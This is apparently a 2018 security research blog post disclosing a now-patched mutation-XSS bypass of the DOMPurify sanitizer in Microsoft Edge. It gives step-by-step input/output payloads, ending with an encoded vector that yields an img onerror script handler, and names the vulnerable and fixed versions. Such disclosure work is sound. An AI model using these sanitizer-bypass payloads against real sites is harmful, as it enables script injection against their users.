Bypassing DOMPurify with mXSS
Published: Sun, 29 Jul 2018 14:38:21 GMT
Updated: Sat, 22 Mar 2025 15:38:21 GMT
I noticed DOMPurify would let you use the title tag when injecting a self closing SVG. Normally it blocks title outside of SVG however using the self closing trick you could bypass that restriction.
<svg/><title>
Injecting the title tag is important because it mutates, as I've tweeted about in the past. In order for the mXSS to be effective I needed to inject the title tag outside of SVG as DOMPurify/Edge would correctly encode the HTML. I found you could use "x" as a self closing tag in DOMPurify and this would enable me to use the title tag outside of SVG. For example:
IN:
<x/><title>test
OUT:
<title>test</title>
Great so I could get mXSS right? Well almost. I injected a mXSS vector with my "x" trick.
IN:
<x/><title></title><img src=1 onerror=alert(1)>
OUT:
<title></title><img src="1">
Damn, so DOMPurify was detecting the malicious HTML and removing the onerror attribute. But then I thought what if this attribute is being read multiple times, maybe I could inject a mXSS vector that mutates more than once. Here is the final vector that is encoding multiple times so it bypasses DOMPurify attribute checks.
IN:
<x/><title>&lt;/title&gt;&lt;img src=1 onerror=alert(1)&gt;
OUT:
<title></title><img src=1 onerror=alert(1)></title>
The vector has been fixed in the latest version of Edge and also has been patched in DOMPurify version 1.0.7. If you want to experiment with the bypass then use DOMPurify 1.0.6 and Microsoft Edge 41.16299.547.0.